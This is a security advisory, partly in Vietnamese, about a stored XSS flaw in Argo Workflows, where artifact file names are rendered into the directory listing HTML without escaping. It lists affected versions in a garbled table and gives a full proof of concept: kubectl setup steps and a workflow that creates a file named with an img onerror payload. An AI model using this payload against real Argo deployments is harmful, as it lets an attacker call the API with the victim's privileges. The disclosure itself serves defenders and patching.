| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/argoproj/argo-workflows | ≤ 2.5.3-rc4mọi phiên bản | |
| github.com/argoproj/argo-workflows/v2 | mọi phiên bản | |
| github.com/argoproj/argo-workflows/v3 | ≥ 3.7.0, < 3.7.8< 3.6.17 | 3.7.83.6.17 |
| argo workflows | ≥ 3.7.0, < 3.7.8< 3.6.17 | 3.7.83.6.17 |
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.
The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
kubectl -n argo port-forward deploy/argo-server 2746:2746
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: xss-artifact-test-
spec:
entrypoint: main
templates:
- name: main
container:
image: alpine
command: [sh, -c]
args:
- |
mkdir -p /tmp/artifacts
touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
outputs:
artifacts:
- name: dir
path: /tmp/artifacts
archive:
none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
kubectl -n argo get wf -w
kubectl -n argo get wf <wf-name> \
-o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíAs the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):